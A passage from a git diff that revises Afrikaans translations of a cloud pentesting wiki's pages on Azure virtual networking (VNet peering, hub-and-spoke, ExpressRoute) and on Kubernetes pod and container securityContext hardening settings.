is**.\ +**VNet Peering kan ook gebruik word met 'n plaaslike netwerk** deur 'n site-to-site VPN of Azure ExpressRoute op te stel. **Azure Hub en Spoke** is 'n netwerktopologie wat in Azure gebruik word om netwerkverkeer te bestuur en te organiseer. **Die "hub" is 'n sentrale punt wat verkeer tussen verskillende "spokes" beheer en roete**. Die hub bevat tipies gedeelde dienste soos netwerk virtuele toestelle (NVAs), Azure VPN Gateway, Azure Firewall, of Azure Bastion. Die **"spokes" is VNets wat werklas huisves en met die hub verbind deur VNet-peering**, wat hulle toelaat om die gedeelde dienste binne die hub te benut. Hierdie model bevorder 'n skoon netwerkopstelling, wat kompleksiteit verminder deur algemene dienste te sentraliseer wat verskeie werklas oor verskillende VNets kan gebruik. @@ -330,7 +331,7 @@ az network application-gateway waf-config list --gateway-name - **Voorbeeld:** -Stel jou 'n maatskappy voor met aparte afdelings soos Verkope, HR, en Ontwikkeling, **elke met sy eie VNet (die spokes)**. Hierdie VNets **vereis toegang tot gedeelde hulpbronne** soos 'n sentrale databasis, 'n firewall, en 'n internetgateway, wat almal in **'n ander VNet (die hub)** geleë is. Deur die Hub en Spoke-model te gebruik, kan elke afdeling **veilig met die gedeelde hulpbronne deur die hub VNet verbind sonder om daardie hulpbronne aan die openbare internet bloot te stel** of 'n komplekse netwerkstruktuur met talle verbindings te skep. +Stel jou 'n maatskappy voor met aparte afdelings soos Verkope, HR, en Ontwikkeling, **elke met sy eie VNet (die spokes)**. Hierdie VNets **vereis toegang tot gedeelde hulpbronne** soos 'n sentrale databasis, 'n firewall, en 'n internetgateway, wat almal geleë is in **'n ander VNet (die hub)**. Deur die Hub en Spoke-model te gebruik, kan elke afdeling **veilig met die gedeelde hulpbronne deur die hub VNet verbind sonder om daardie hulpbronne aan die openbare internet bloot te stel** of 'n komplekse netwerkstruktuur met talle verbindings te skep. ### Enumeration @@ -394,7 +395,7 @@ Get-AzVirtualNetworkGatewayConnection -ResourceGroupName ## Azure ExpressRoute -Azure ExpressRoute is 'n diens wat 'n **private, toegewyde, hoëspoedverbinding tussen jou plaaslike infrastruktuur en Azure datacenters** bied. Hierdie verbinding word gemaak deur 'n verbindingsverskaffer, wat die publieke internet omseil en meer betroubaarheid, vinniger spoed, laer latensies, en hoër sekuriteit as tipiese internetverbindinge bied. +Azure ExpressRoute is 'n diens wat 'n **privaat, toegewyde, hoëspoedverbinding tussen jou plaaslike infrastruktuur en Azure datacenters** bied. Hierdie verbinding word gemaak deur 'n verbindingsverskaffer, wat die openbare internet omseil en meer betroubaarheid, vinniger spoed, laer latensies en hoër sekuriteit as tipiese internetverbindinge bied. **Voorbeeld:** diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md index 2d88f3263..6572039cc 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md @@ -11,14 +11,15 @@ Wanneer jy die sekuriteitskonteks van 'n Pod spesifiseer, kan jy verskeie eiensk - Om **runASNonRoot** as **Waar** te hê - Om **runAsUser** te konfigureer - Indien moontlik, oorweeg om **toestemmings** te **beperk** deur **seLinuxOptions** en **seccompProfile** aan te dui -- Moet **NIE** **privilege** **groep** toegang gee via **runAsGroup** en **supplementaryGroups** +- Moet **nie** **privilege** **groep** toegang gee via **runAsGroup** en **supplementaryGroups** nie -|

fsGroup
integer

|

‘n Spesiale aanvullende groep wat van toepassing is op alle houers in 'n pod. Sommige volume tipe laat die Kubelet toe om die eienaarskap van daardie volume te verander om deur die pod besit te word:
1. Die eienaar GID sal die FSGroup wees
2. Die setgid bit is ingestel (nuwe lêers wat in die volume geskep word, sal deur FSGroup besit word)
3. Die toestemmingsbits is OR'd met rw-rw---- As nie ingestel nie, sal die Kubelet nie die eienaarskap en toestemmings van enige volume verander

| -| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -|

fsGroupChangePolicy
string

| Dit definieer die gedrag van **eienaarskap en toestemming van die volume** verander voordat dit binne die Pod blootgestel word. | -|

runAsGroup
integer

| Die **GID om die ingangspunt van die houer proses** te laat loop. Gebruik runtime standaard as dit nie ingestel is nie. | +| Parameter | Beskrywing | +|

fsGroup
integer

|

‘n Spesiale aanvullende groep wat op alle houers in 'n pod van toepassing is. Sommige volume tipe laat die Kubelet toe om die eienaarskap van daardie volume te verander sodat dit deur die pod besit word:
1. Die eienaars GID sal die FSGroup wees
2. Die setgid-bietjie is ingestel (nuwe lêers wat in die volume geskep word, sal deur FSGroup besit word)
3. Die toestemmingsbietjies word OR'd met rw-rw---- As nie ingestel nie, sal die Kubelet nie die eienaarskap en toestemmings van enige volume verander

| + +|

fsGroupChangePolicy
string

| Dit definieer die gedrag van **verandering van eienaarskap en toestemming van die volume** voordat dit binne die Pod blootgestel word. | +|

runAsGroup
integer

| Die **GID om die ingangspunt van die houer proses** te laat loop. Gebruik runtime standaard as nie ingestel nie. Mag ook in SecurityContext ingestel word. | |

runAsNonRoot
boolean

| Dui aan dat die houer as 'n nie-root gebruiker moet loop. As waar, sal die Kubelet die beeld tydens uitvoering valideer om te verseker dat dit nie as UID 0 (root) loop nie en sal dit misluk om die houer te begin as dit wel doen. | -|

runAsUser
integer

| Die **UID om die ingangspunt van die houer proses** te laat loop. Standaard na die gebruiker gespesifiseer in beeld metadata as dit nie gespesifiseer is nie. | +|

runAsUser
integer

| Die **UID om die ingangspunt van die houer proses** te laat loop. Standaard na die gebruiker gespesifiseer in beeld metadata as nie gespesifiseer nie. | |

seLinuxOptions
SELinuxOptions
Meer inligting oor seLinux

| Die **SELinux konteks wat op alle houers toegepas moet word**. As nie gespesifiseer nie, sal die houer runtime 'n ewekansige SELinux konteks vir elke houer toewys. | |

seccompProfile
SeccompProfile
Meer inligting oor Seccomp

| Die **seccomp opsies wat deur die houers** in hierdie pod gebruik moet word. | |

supplementalGroups
integer array

| 'n Lys van **groepe wat op die eerste proses toegepas word wat in elke houer loop**, benewens die houer se primêre GID. | @@ -29,27 +30,27 @@ Wanneer jy die sekuriteitskonteks van 'n Pod spesifiseer, kan jy verskeie eiensk [**Uit die dokumentasie:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) -Hierdie konteks word binne die **houers definisies** ingestel. Vanuit 'n defensiewe sekuriteits oogpunt moet jy oorweeg: +Hierdie konteks word binne die **houer definisies** ingestel. Vanuit 'n defensiewe sekuriteits oogpunt moet jy oorweeg: -- **allowPrivilegeEscalation** om **Vals** te wees +- **allowPrivilegeEscalation** na **Vals** - Moet nie sensitiewe **capabilities** byvoeg nie (en verwyder die wat jy nie nodig het nie) -- **privileged** om **Vals** te wees +- **privileged** na **Vals** - Indien moontlik, stel **readOnlyFilesystem** as **Waar** -- Stel **runAsNonRoot** op **Waar** en stel 'n **runAsUser** in +- Stel **runAsNonRoot** na **Waar** en stel 'n **runAsUser** in - Indien moontlik, oorweeg om **toestemmings** te **beperk** deur **seLinuxOptions** en **seccompProfile** aan te dui -- Moet **NIE** **privilege** **groep** toegang gee via **runAsGroup.** +- Moet **nie** **privilege** **groep** toegang gee via **runAsGroup.** Let daarop dat die eienskappe wat in **both SecurityContext and PodSecurityContext** ingestel is, die waarde wat in **SecurityContext** gespesifiseer is, **prioriteit** het. -|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation** beheer of 'n proses **meer bevoegdhede kan verkry** as sy ouer proses. Hierdie bool beheer direk of die no_new_privs vlag op die houer proses ingestel sal word. AllowPrivilegeEscalation is altyd waar wanneer die houer as **Privileged** of **CAP_SYS_ADMIN** loop | +|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation** beheer of 'n proses **meer privileges kan verkry** as sy ouer proses. Hierdie bool beheer direk of die no_new_privs vlag op die houer proses ingestel sal word. AllowPrivilegeEscalation is altyd waar wanneer die houer as **Privileged** of **CAP_SYS_ADMIN** loop. | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -|

capabilities
Capabilities
Meer inligting oor Capabilities

| Die **capabilities om by te voeg/verwyder wanneer houers loop**. Standaard na die standaard stel van bevoegdhede. | -|

privileged
boolean

| Loop houer in bevoorregte modus. Prosesse in bevoorregte houers is in wese **gelyk aan root op die gasheer**. Standaard is vals. | +|

capabilities
Capabilities
Meer inligting oor Capabilities

| Die **capabilities om by te voeg/verwyder wanneer houers loop**. Standaard na die standaard stel van capabilities. | +|

privileged
boolean

| Loop houer in bevoorregte modus. Prosesse in bevoorregte houers is essensieel **gelyk aan root op die gasheer**. Standaard is vals. | |

procMount
string

| procMount dui die **tipe proc mount aan wat vir die houers gebruik moet word**. Die standaard is DefaultProcMount wat die houer runtime standaarde vir leesbare paaie en gemaskeerde paaie gebruik. | |

readOnlyRootFilesystem
boolean

| Of hierdie **houer 'n leesbare wortel lêerstelsel het**. Standaard is vals. | -|

runAsGroup
integer

| Die **GID om die ingangspunt** van die houer proses te laat loop. Gebruik runtime standaard as dit nie ingestel is nie. | +|

runAsGroup
integer

| Die **GID om die ingangspunt** van die houer proses te laat loop. Gebruik runtime standaard as nie ingestel nie. | |

runAsNonRoot
boolean

| Dui aan dat die houer moet **loop as 'n nie-root gebruiker**. As waar, sal die Kubelet die beeld tydens uitvoering valideer om te verseker dat dit nie as UID 0 (root) loop nie en sal dit misluk om die houer te begin as dit wel doen. | -|

runAsUser
integer

| Die **UID om die ingangspunt** van die houer proses te laat loop. Standaard na die gebruiker gespesifiseer in beeld metadata as dit nie gespesifiseer is nie. | +|

runAsUser
integer

| Die **UID om die ingangspunt** van die houer proses te laat loop. Standaard na die gebruiker gespesifiseer in beeld metadata as nie gespesifiseer nie. | |

seLinuxOptions
SELinuxOptions
Meer inligting oor seLinux

| Die **SELinux konteks wat op die houer toegepas moet word**. As nie gespesifiseer nie, sal die houer runtime 'n ewekansige SELinux konteks vir elke houer toewys. | |

seccompProfile
SeccompProfile

| Die **seccomp opsies** wat deur hierdie houer gebruik moet word. | |

windowsOptions
WindowsSecurityContextOptions

| Die **Windows spesifieke instellings** wat op alle houers toegepas word. |